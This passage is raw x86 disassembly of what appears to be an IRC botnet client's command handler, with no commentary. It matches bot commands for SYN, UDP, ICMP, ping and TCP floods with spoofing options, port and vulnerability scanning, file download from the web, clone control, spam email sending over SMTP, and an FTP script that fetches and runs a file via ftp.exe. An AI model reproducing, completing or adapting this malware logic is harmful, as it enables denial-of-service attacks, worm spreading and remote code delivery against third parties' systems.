pop ecx
test eax, eax
pop ecx
jz loc_40F067
push dword ptr [ebp+10h]
push offset aDownload_upz ; "download.upz"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40F067
push dword ptr [ebp+10h]
push offset aBox_execute ; "box.execute"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EFC6
push dword ptr [ebp+10h]
push offset aBox_e ; "box.e"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EFC6
push dword ptr [ebp+10h]
push offset aBox_findfile ; "box.findfile"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EEC8
push dword ptr [ebp+10h]
push offset aBox_ff ; "box.ff"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EEC8
push dword ptr [ebp+10h]
push offset aBox_rename ; "box.rename"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EE77
push dword ptr [ebp+10h]
push offset aBox_mv ; "box.mv"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EE77
push dword ptr [ebp+10h]
push offset aDdos_icmp ; "ddos.icmp"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40ED7C
push dword ptr [ebp+10h]
push offset aDdos_ic ; "ddos.ic"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40ED7C
mov eax, [ebp+esi-88h]
cmp eax, ebx
mov [ebp+8], eax
jz loc_40B71F
push dword ptr [ebp+10h]
push offset aClone_make ; "clone.make"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EC91
push dword ptr [ebp+10h]
push offset aClone_start ; "clone.start"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EC91
push dword ptr [ebp+10h]
push offset aDs_sy1 ; "ds.sy1"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EB8C
push dword ptr [ebp+10h]
push offset aDs_ack ; "ds.ack"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EB8C
push dword ptr [ebp+10h]
push offset aDs_rm ; "ds.rm"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EB8C
push dword ptr [ebp+10h]
push offset aDdos_synflood ; "ddos.synflood"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EA8E
push dword ptr [ebp+10h]
push offset aSy1 ; "sy1"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40EA8E
push dword ptr [ebp+10h]
push offset aDownload_fromw ; "download.fromwww"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E950
push dword ptr [ebp+10h]
push offset aD1 ; "d1"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E950
push dword ptr [ebp+10h]
push offset aServer_redir_0 ; "server.redirect.on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E856
push dword ptr [ebp+10h]
push offset aServer_rd_on ; "server.rd.on"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E856
push dword ptr [ebp+10h]
push offset aEnz_portscan ; "enz.portscan"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E763
push dword ptr [ebp+10h]
push offset aEnz_ps ; "enz.ps"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E763
push dword ptr [ebp+10h]
push offset aClone_privmsg ; "clone.privmsg"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E68E
push dword ptr [ebp+10h]
push offset aClone_pm ; "clone.pm"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E68E
push dword ptr [ebp+10h]
push offset aClone_action ; "clone.action"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E579
push dword ptr [ebp+10h]
push offset aClone_ac ; "clone.ac"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E579
mov eax, [ebp+esi-84h]
cmp eax, ebx
mov [ebp+18h], eax
jz loc_40B71F
push dword ptr [ebp+10h]
push offset aVuln_start ; "vuln.start"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E220
push dword ptr [ebp+10h]
push offset aVv ; "vv"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E220
push dword ptr [ebp+10h]
push offset aDdos_udpflood ; "ddos.udpflood"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E100
push dword ptr [ebp+10h]
push offset aDdos_udpf ; "ddos.udpf"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E100
push dword ptr [ebp+10h]
push offset aPu ; "pu"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40E100
push dword ptr [ebp+10h]
push offset aDdos_pingflood ; "ddos.pingflood"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40DFCD
push dword ptr [ebp+10h]
push offset aDdos_pingf ; "ddos.pingf"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40DFCD
push dword ptr [ebp+10h]
push offset aPg ; "pg"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40DFCD
push dword ptr [ebp+10h]
push offset aDdos_tcpflood ; "ddos.tcpflood"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40DE3A
push dword ptr [ebp+10h]
push offset aUsa ; "usa"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40DE3A
push dword ptr [ebp+10h]
push offset aUtil_email ; "util.email"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_40DC43
lea eax, [ebp-3E4h]
push edi
push eax
call sub_413CC0
push dword ptr [ebp+20h]
call sub_413B1F
push dword ptr [ebp+8]
mov [ebp+20h], eax
lea eax, [ebp-0D9Ch]
push eax
call sub_413CC0
push dword ptr [ebp+18h]
lea eax, [ebp-0B94h]
push eax
call sub_413CC0
push offset asc_422D6C ; " "
push offset a_ ; "_"
push dword ptr [ebp+esi-80h]
call sub_407E52
push eax
lea eax, [ebp-548h]
push eax
call sub_413CC0
add esp, 30h
lea eax, [ebp-6F4h]
push eax
push 101h
call ds:dword_42F680
lea eax, [ebp-3E4h]
push eax
call ds:dword_42F78C
push 6
push 1
push 2
mov edi, eax
call ds:dword_42F788
push dword ptr [ebp+20h]
mov esi, eax
mov word ptr [ebp-2D8h], 2
mov eax, [edi+0Ch]
mov eax, [eax]
mov eax, [eax]
mov [ebp-2D4h], eax
call ds:dword_42F708
mov [ebp-2D6h], ax
lea eax, [ebp-548h]
push eax
lea eax, [ebp-0D9Ch]
push eax
lea eax, [ebp-548h]
push eax
lea eax, [ebp-0B94h]
push eax
lea eax, [ebp-0D9Ch]
push eax
lea eax, [ebp-159Ch]
push offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
push eax
call sub_4135AD
add esp, 1Ch
lea eax, [ebp-2D8h]
push 10h
push eax
push esi
call ds:dword_42F6B0
mov edi, 100h
push ebx
lea eax, [ebp-0C98h]
push edi
push eax
push esi
call ds:dword_42F720
lea eax, [ebp-0C98h]
push ebx
push eax
call sub_413DB0
pop ecx
push eax
lea eax, [ebp-159Ch]
push eax
push esi
call ds:dword_42F758
push ebx
lea eax, [ebp-0C98h]
push edi
push eax
push esi
call ds:dword_42F720
push esi
call ds:dword_42F7A0
call ds:dword_42F668
lea eax, [ebp-0B94h]
push eax
push offset unk_42A530
loc_40DC0A: ; CODE XREF: seg000:0040ED77j
; seg000:0040F062j ...
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
add esp, 0Ch
loc_40DC19: ; CODE XREF: seg000:0040ED5Bj
; seg000:0040F006j ...
cmp [ebp-8], ebx
jnz loc_4109E0
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
jmp loc_4109E0
; ---------------------------------------------------------------------------
loc_40DC43: ; CODE XREF: seg000:0040DAB4j
push dword ptr [ebp+10h]
push offset aUtil_httpcon ; "util.httpcon"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40DE0C
push dword ptr [ebp+10h]
push offset aUtil_hcon ; "util.hcon"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz loc_40DE0C
mov esi, [ebp+esi-80h]
cmp esi, ebx
jz loc_40B71F
push dword ptr [ebp+10h]
push offset aFtp_upload ; "ftp.upload"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz loc_410E98
push 4
push esi
call sub_40A68C
pop ecx
test eax, eax
pop ecx
jnz short loc_40DCE1
push esi
push offset dword_42A4D4
loc_40DCA8: ; CODE XREF: seg000:0040DFBEj
; seg000:0040E574j ...
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
add esp, 0Ch
loc_40DCB7: ; CODE XREF: seg000:0040DFA2j
; seg000:0040E558j ...
cmp [ebp-8], ebx
jnz loc_410D58
push ebx
push dword ptr [ebp-4]
loc_40DCC4: ; CODE XREF: seg000:0040EB87j
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
loc_40DCD4: ; CODE XREF: seg000:00410430j
call sub_4110B0
add esp, 14h
jmp loc_410D58
; ---------------------------------------------------------------------------
loc_40DCE1: ; CODE XREF: seg000:0040DCA0j
call ds:dword_41F044 ; GetTickCount
push eax
call sub_4135FF
pop ecx
call sub_413609
push 9
cdq
pop ecx
idiv ecx
push edx
call sub_413609
push 63h
cdq
pop ecx
idiv ecx
push edx
call sub_413609
cdq
mov ecx, 3E7h
idiv ecx
lea eax, [ebp-0C9Ch]
push edx
push eax
lea eax, [ebp-0B98h]
push offset aSIII_dll ; "%s\\%i%i%i.dll"
push eax
call sub_4135AD
lea eax, [ebp-0B98h]
push offset aAb ; "ab"
push eax
call sub_413CA8
add esp, 20h
cmp eax, ebx
mov [ebp+2Ch], eax
jz loc_40B71F
push esi
push dword ptr [ebp+18h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
push edi
push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
push eax
call sub_413C56
push dword ptr [ebp+2Ch]
call sub_413C00
lea eax, [ebp-0B98h]
push eax
lea eax, [ebp-3E4h]
push offset aSS_4 ; "-s:%s"
push eax
call sub_4135AD
add esp, 2Ch
lea eax, [ebp-3E4h]
push ebx
push ebx
push eax
push offset aFtp_exe ; "ftp.exe"
push offset aOpen ; "open"
push ebx
call ds:dword_42F67C
test eax, eax
push edi
push esi
jz short loc_40DDAB
push offset dword_42A458
jmp short loc_40DDB0
; ---------------------------------------------------------------------------
loc_40DDAB: ; CODE XREF: seg000:0040DDA2j
push offset dword_42A418
loc_40DDB0: ; CODE XREF: seg000:0040DDA9j
call sub_4135AD
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_40DDD9
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
add esp, 14h
loc_40DDD9: ; CODE XREF: seg000:0040DDBBj
lea eax, [ebp-2C8h]
push eax
call sub_409615
loc_40DDE5: ; CODE XREF: seg000:0040DE0Aj
lea eax, [ebp-0B98h]
push 4
push eax
call sub_40A68C
add esp, 0Ch
test eax, eax
jz loc_40B71F
lea eax, [ebp-0B98h]
push eax
call sub_41598C
jmp short loc_40DDE5
; ---------------------------------------------------------------------------
loc_40DE0C: ; CODE XREF: seg000:0040DC54j
; seg000:0040DC6Bj
push dword ptr [ebp+esi-80h]
push dword ptr [ebp+18h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
call sub_413B1F
pop ecx
push eax
push edi
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_404FC5
jmp loc_410E95
; ---------------------------------------------------------------------------
loc_40DE3A: ; CODE XREF: seg000:0040DA86j
; seg000:0040DA9Dj
mov esi, 80h
push edi
lea eax, [ebp-680h]
push esi
push eax
call sub_413B2A
lea eax, [ebp-680h]
push eax
push offset aSyn ; "syn"
call sub_4139D0
add esp, 14h
test eax, eax
jz short loc_40DE9D
lea eax, [ebp-680h]
push eax
push offset aAck ; "ack"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40DE9D
lea eax, [ebp-680h]
push eax
push offset aRandom ; "random"
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40DE9D
push offset dword_42A3DC
jmp loc_410536
; ---------------------------------------------------------------------------
loc_40DE9D: ; CODE XREF: seg000:0040DE63j
; seg000:0040DE7Aj ...
push dword ptr [ebp+18h]
call sub_413B1F
cmp eax, ebx
pop ecx
mov [ebp-578h], eax
jle loc_40DFC3
push edi
lea eax, [ebp-680h]
push esi
push eax
call sub_413B2A
push dword ptr [ebp+20h]
lea eax, [ebp-700h]
push esi
push eax
call sub_413B2A
push dword ptr [ebp+8]
call sub_413B1F
mov [ebp-57Ch], eax
xor eax, eax
cmp [ebp-9A2h], bl
push dword ptr [ebp-8Ch]
setnz al
mov [ebp-574h], eax
mov eax, [ebp+0Ch]
mov [ebp-704h], eax
lea eax, [ebp-600h]
push esi
push eax
call sub_413B2A
mov eax, [ebp-4]
add esp, 28h
cmp [ebp-574h], ebx
mov [ebp-570h], eax
mov eax, [ebp-8]
mov [ebp-56Ch], eax
mov eax, offset aSpoofed ; "Spoofed"
jnz short loc_40DF34
mov eax, offset aNormal ; "Normal"
loc_40DF34: ; CODE XREF: seg000:0040DF2Dj
push dword ptr [ebp+18h]
push dword ptr [ebp+8]
push dword ptr [ebp+20h]
push edi
push eax
push offset dword_42A384
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_413B2A
push ebx
lea eax, [ebp-2C8h]
push 0Ch
push eax
call sub_413059
add esp, 2Ch
mov [ebp-580h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-704h]
push ebx
push eax
push offset loc_401BD6
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-580h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40DFB2
loc_40DF9C: ; CODE XREF: seg000:0040DFB0j
cmp [ebp-568h], ebx
jnz loc_40DCB7
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40DF9C
; ---------------------------------------------------------------------------
loc_40DFB2: ; CODE XREF: seg000:0040DF9Aj
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset dword_42A338
jmp loc_40DCA8
; ---------------------------------------------------------------------------
loc_40DFC3: ; CODE XREF: seg000:0040DEAEj
push offset dword_42A2EC
jmp loc_410536
; ---------------------------------------------------------------------------
loc_40DFCD: ; CODE XREF: seg000:0040DA41j
; seg000:0040DA58j ...
cmp ds:dword_42F7F8, ebx
mov esi, [ebp+0Ch]
jnz loc_40E0D5
mov eax, [ebp-8]
push 7Fh
mov [ebp-2ECh], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
lea eax, [ebp-384h]
push edi
push eax
call sub_414DD0
push dword ptr [ebp+20h]
call sub_413B1F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_413B1F
push dword ptr [ebp+18h]
mov [ebp-300h], eax
call sub_413B1F
push 7Fh
mov [ebp-2FCh], eax
push dword ptr [ebp-8Ch]
lea eax, [ebp-404h]
push eax
call sub_414DD0
push dword ptr [ebp-2FCh]
lea eax, [ebp-384h]
mov [ebp-408h], esi
push dword ptr [ebp-300h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-304h]
push offset unk_42A290
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 0Eh
push eax
call sub_413059
add esp, 48h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-408h]
push ebx
push eax
push offset loc_4086BF
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40E0C4
loc_40E0B2: ; CODE XREF: seg000:0040E0C2j
cmp [ebp-2E8h], ebx
jnz short loc_40E0EE
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40E0B2
; ---------------------------------------------------------------------------
loc_40E0C4: ; CODE XREF: seg000:0040E0B0j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset unk_42A244
jmp loc_40EC80
; ---------------------------------------------------------------------------
loc_40E0D5: ; CODE XREF: seg000:0040DFD6j
push 1FFh
lea eax, [ebp-2C8h]
push offset aIcmp_dllNotAva ; "ICMP.dll not available"
push eax
call sub_414DD0
loc_40E0EB: ; CODE XREF: seg000:0040EC8Cj
add esp, 0Ch
loc_40E0EE: ; CODE XREF: seg000:0040E0B8j
; seg000:0040E1FFj ...
cmp [ebp-8], ebx
jnz loc_410D58
push ebx
push dword ptr [ebp-4]
jmp loc_410422
; ---------------------------------------------------------------------------
loc_40E100: ; CODE XREF: seg000:0040D9FCj
; seg000:0040DA13j ...
mov eax, [ebp-8]
push 7Fh
mov [ebp-2ECh], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
lea eax, [ebp-384h]
push edi
push eax
call sub_414DD0
push dword ptr [ebp+20h]
call sub_413B1F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_413B1F
push dword ptr [ebp+18h]
mov [ebp-300h], eax
call sub_413B1F
mov esi, [ebp+esi-80h]
add esp, 18h
cmp esi, ebx
mov [ebp-2FCh], eax
jz short loc_40E165
push esi
call sub_413B1F
pop ecx
mov [ebp-2F8h], eax
jmp short loc_40E16B
; ---------------------------------------------------------------------------
loc_40E165: ; CODE XREF: seg000:0040E154j
mov [ebp-2F8h], ebx
loc_40E16B: ; CODE XREF: seg000:0040E163j
push 7Fh
lea eax, [ebp-404h]
push dword ptr [ebp-8Ch]
push eax
call sub_414DD0
push dword ptr [ebp-2FCh]
mov esi, [ebp+0Ch]
lea eax, [ebp-384h]
mov [ebp-408h], esi
push dword ptr [ebp-300h]
push eax
lea eax, [ebp-2C8h]
push dword ptr [ebp-304h]
push offset dword_42A1D0
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 0Fh
push eax
call sub_413059
add esp, 30h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-408h]
push ebx
push eax
push offset sub_40884B
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40E20F
loc_40E1F9: ; CODE XREF: seg000:0040E20Dj
cmp [ebp-2E8h], ebx
jnz loc_40E0EE
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40E1F9
; ---------------------------------------------------------------------------
loc_40E20F: ; CODE XREF: seg000:0040E1F7j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset dword_42A184
jmp loc_40EC80
; ---------------------------------------------------------------------------
loc_40E220: ; CODE XREF: seg000:0040D9CEj
; seg000:0040D9E5j
push 8
call sub_4132A1
push dword ptr [ebp+20h]
mov [ebp+10h], eax
call sub_413B1F
add eax, [ebp+10h]
pop ecx
pop ecx
cmp eax, 12Ch
jle short loc_40E273
push dword ptr [ebp+10h]
lea eax, [ebp-2C8h]
push offset dword_42A130
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
loc_40E26B: ; CODE XREF: seg000:0040F68Bj
add esp, 20h
jmp loc_410E98
; ---------------------------------------------------------------------------
loc_40E273: ; CODE XREF: seg000:0040E23Cj
push edi
call sub_413B1F
push dword ptr [ebp+20h]
mov [ebp-31Ch], eax
call sub_413B1F
push dword ptr [ebp+8]
mov [ebp-304h], eax
call sub_413B1F
add esp, 0Ch
cmp eax, 1
mov [ebp-318h], eax
jnb short loc_40E2AC
push 1
pop eax
mov [ebp-318h], eax
loc_40E2AC: ; CODE XREF: seg000:0040E2A1j
push 3Ch
pop ecx
cmp eax, ecx
jbe short loc_40E2B9
mov [ebp-318h], ecx
loc_40E2B9: ; CODE XREF: seg000:0040E2B1j
push dword ptr [ebp+18h]
call sub_413B1F
mov [ebp-314h], eax
mov eax, 1F4h
cmp [ebp-314h], eax
pop ecx
jbe short loc_40E2DB
mov [ebp-314h], eax
loc_40E2DB: ; CODE XREF: seg000:0040E2D3j
or dword ptr [ebp-300h], 0FFFFFFFFh
cmp ds:dword_4236A0, ebx
mov [ebp+8], ebx
jz short loc_40E331
mov dword ptr [ebp+2Ch], offset dword_4236A0
loc_40E2F4: ; CODE XREF: seg000:0040E313j
mov eax, [ebp+2Ch]
push edi
add eax, 0FFFFFFD8h
push eax
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jz short loc_40E317
add dword ptr [ebp+2Ch], 3Ch
inc dword ptr [ebp+8]
mov eax, [ebp+2Ch]
cmp [eax], ebx
jnz short loc_40E2F4
jmp short loc_40E331
; ---------------------------------------------------------------------------
loc_40E317: ; CODE XREF: seg000:0040E305j
mov eax, [ebp+8]
mov ecx, eax
mov [ebp-300h], eax
imul ecx, 3Ch
mov ecx, ds:dword_4236A0[ecx]
mov [ebp-31Ch], ecx
loc_40E331: ; CODE XREF: seg000:0040E2EBj
; seg000:0040E315j
cmp [ebp-31Ch], ebx
jz loc_410153
mov edi, [ebp+esi-80h]
cmp edi, ebx
mov [ebp+20h], edi
jz short loc_40E378
cmp byte ptr [edi], 23h
jz short loc_40E378
push edi
lea eax, [ebp-430h]
push 10h
push eax
call sub_413B2A
push 78h
push edi
call sub_415110
add esp, 14h
neg eax
sbb eax, eax
neg eax
mov [ebp-2F0h], eax
jmp loc_40E44C
; ---------------------------------------------------------------------------
loc_40E378: ; CODE XREF: seg000:0040E346j
; seg000:0040E34Bj
cmp [ebp-9B3h], bl
jnz short loc_40E39A
cmp [ebp-9B2h], bl
jnz short loc_40E39A
cmp [ebp-9A2h], bl
jnz short loc_40E39A
push offset dword_42A0E4
jmp loc_410536
; ---------------------------------------------------------------------------
loc_40E39A: ; CODE XREF: seg000:0040E37Ej
; seg000:0040E386j ...
push 10h
lea eax, [ebp+8]
pop edi
push eax
lea eax, [ebp-2D8h]
push eax
mov [ebp+8], edi
push dword ptr [ebp+0Ch]
call ds:dword_42F6AC
mov al, [ebp-9B3h]
push edi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-2D4h], eax
push dword ptr [ebp-2D4h]
call ds:dword_42F794
push eax
lea eax, [ebp-430h]
push eax
call sub_414DD0
add esp, 0Ch
cmp [ebp-9A2h], bl
jz short loc_40E446
xor eax, eax
cmp [ebp-9B3h], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-430h]
push eax
call sub_4150D0
pop ecx
cmp edi, ebx
pop ecx
mov [ebp+2Fh], bl
jle short loc_40E43A
loc_40E418: ; CODE XREF: seg000:0040E438j
cmp eax, ebx
jz short loc_40E43A
mov byte ptr [eax], 78h
lea eax, [ebp-430h]
push 30h
push eax
call sub_4150D0
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_40E418
loc_40E43A: ; CODE XREF: seg000:0040E416j
; seg000:0040E41Aj
mov dword ptr [ebp-2F0h], 1
jmp short loc_40E44C
; ---------------------------------------------------------------------------
loc_40E446: ; CODE XREF: seg000:0040E3F0j
mov [ebp-2F0h], ebx
loc_40E44C: ; CODE XREF: seg000:0040E373j
; seg000:0040E444j
mov eax, [ebp+0Ch]
push dword ptr [ebp-8Ch]
mov [ebp-320h], eax
mov eax, [ebp-4]
mov [ebp-2F8h], eax
mov eax, [ebp-8]
mov [ebp-2F4h], eax
mov edi, 80h
lea eax, [ebp-420h]
push edi
push eax
call sub_413B2A
mov esi, [ebp+esi-7Ch]
add esp, 0Ch
cmp esi, ebx
jz short loc_40E49D
loc_40E48A: ; CODE XREF: seg000:0040E4C0j
push esi
loc_40E48B: ; CODE XREF: seg000:0040E4AAj
lea eax, [ebp-3A0h]
push edi
push eax
call sub_413B2A
add esp, 0Ch
jmp short loc_40E4C8
; ---------------------------------------------------------------------------
loc_40E49D: ; CODE XREF: seg000:0040E488j
mov eax, [ebp+20h]
cmp eax, ebx
jz short loc_40E4AC
cmp byte ptr [eax], 23h
jnz short loc_40E4AC
push eax
jmp short loc_40E48B
; ---------------------------------------------------------------------------
loc_40E4AC: ; CODE XREF: seg000:0040E4A2j
; seg000:0040E4A7j
mov esi, offset dword_4282D8
push offset byte_42E348
push esi
call sub_4139D0
pop ecx
test eax, eax
pop ecx
jnz short loc_40E48A
mov [ebp-3A0h], bl
loc_40E4C8: ; CODE XREF: seg000:0040E49Bj
cmp [ebp-2F0h], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_40E4DA
mov eax, offset aSequential ; "Sequential"
loc_40E4DA: ; CODE XREF: seg000:0040E4D3j
push dword ptr [ebp-304h]
lea ecx, [ebp-430h]
push dword ptr [ebp-314h]
push dword ptr [ebp-318h]
push dword ptr [ebp-31Ch]
push ecx
push eax
lea eax, [ebp-2C8h]
push offset dword_42A058
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push 8
push eax
call sub_413059
add esp, 2Ch
mov [ebp-310h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-430h]
push ebx
push eax
push offset sub_405E47
push ebx
push ebx
call ds:dword_41F06C ; CreateThread
mov ecx, [ebp-310h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_4348AC[ecx], eax
jz short loc_40E568
loc_40E552: ; CODE XREF: seg000:0040E566j
cmp [ebp-2ECh], ebx
jnz loc_40DCB7
push 32h
call ds:dword_41F058 ; Sleep
jmp short loc_40E552
; ---------------------------------------------------------------------------
loc_40E568: ; CODE XREF: seg000:0040E550j
call ds:dword_41F068 ; RtlGetLastWin32Error
push eax
push offset dword_42A00C
jmp loc_40DCA8
; ---------------------------------------------------------------------------
loc_40E579: ; CODE XREF: seg000:0040D98Ej
; seg000:0040D9A5j
push edi
call sub_413B1F
imul eax, 234h
pop ecx
cmp ds:byte_4348B0[eax], bl
jz loc_410E98
cmp [ebp-0Ch], ebx
jz loc_410E98
push edi
call sub_413DB0
push dword ptr [ebp+10h]
mov esi, eax
call sub_413DB0
push dword ptr [ebp+20h]
add esi, eax
call sub_413DB0
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_413B80
mov esi, eax
lea eax, [ebp-2C8h]
push esi
push offset dword_42A000
push eax
call sub_4135AD
add esp, 20h
cmp esi, ebx
jz loc_410E98
push edi
call sub_413B1F
test eax, eax
pop ecx
jle loc_410E98
push edi
call sub_413B1F
cmp eax, 12Ch
pop ecx
jge loc_410E98
push ebx
lea eax, [ebp-2C8h]
push ebx
push eax
push dword ptr [ebp+20h]
push edi
call sub_413B1F
imul eax, 234h
pop ecx
push ds:dword_4348A4[eax]
call sub_4110B0
push edi
call sub_413B1F
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_434698[eax], 73h
jnz loc_410E98
push esi
push edi
call sub_413B1F
imul eax, 234h
pop ecx
add eax, offset byte_4348B0
push eax
push dword ptr [ebp+20h]
push offset aSSS_1 ; "[%s] * %s %s"
loc_40E661: ; CODE XREF: seg000:0040E75Ej
lea eax, [ebp-2C8h]
push eax
call sub_4135AD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4110B0
loc_40E686: ; CODE XREF: seg000:004105FEj
add esp, 28h
jmp loc_410E98
; ---------------------------------------------------------------------------
loc_40E68E: ; CODE XREF: seg000:0040D960j
; seg000:0040D977j
push edi
call sub_413B1F
imul eax, 234h
pop ecx
cmp ds:byte_4348B0[eax], bl
jz loc_410E98
cmp [ebp-0Ch], ebx
jz loc_410E98
push edi
call sub_413DB0
push dword ptr [ebp+10h]
mov esi, eax
call sub_413DB0
push dword ptr [ebp+20h]
add esi, eax
call sub_413DB0
add eax, [ebp-0Ch]
push dword ptr [ebp+8]
lea eax, [eax+esi+2]
push eax
call sub_413B80
mov esi, eax
add esp, 14h
cmp esi, ebx
jz loc_410E98
push edi
call sub_413B1F
test eax, eax
pop ecx
jle loc_410E98
push edi
call sub_413B1F
cmp eax, 12Ch
pop ecx
jge loc_410E98
push ebx
push ebx
push esi
push dword ptr [ebp+20h]
push edi
call sub_413B1F
imul eax, 234h
pop ecx
push ds:dword_4348A4[eax]
call sub_4110B0
push edi
call sub_413B1F
imul eax, 234h
add esp, 18h
cmp byte ptr ds:dword_434698[eax], 73h
jnz loc_410E98
push esi
push edi
call sub_413B1F
imul eax, 234h
pop ecx
add eax, offset byte_4348B0
push eax
push dword ptr [ebp+20h]
push offset aSSS_0 ; "[%s] <%s> %s"
jmp loc_40E661
; ---------------------------------------------------------------------------
loc_40E763: ; CODE XREF: seg000:0040D932j
; seg000:0040D949j
push edi
call ds:dword_42F748
push dword ptr [ebp+20h]
mov [ebp-460h], eax
call sub_413B1F
push dword ptr [ebp+8]
mov [ebp-46Ch], eax
call sub_413B1F
mov esi, [ebp+0Ch]
push 7Fh
push dword ptr [ebp-8Ch]
mov [ebp-468h], eax
lea eax, [ebp-4ECh]
mov [ebp-4F0h], esi
push eax
call sub_414DD0
add esp, 14h
mov edi, [ebp-4]
mov eax, [ebp-8]
mov [ebp-458h], edi
push dword ptr [ebp-468h]
mov [ebp-454h], eax
push dword ptr [ebp-46Ch]
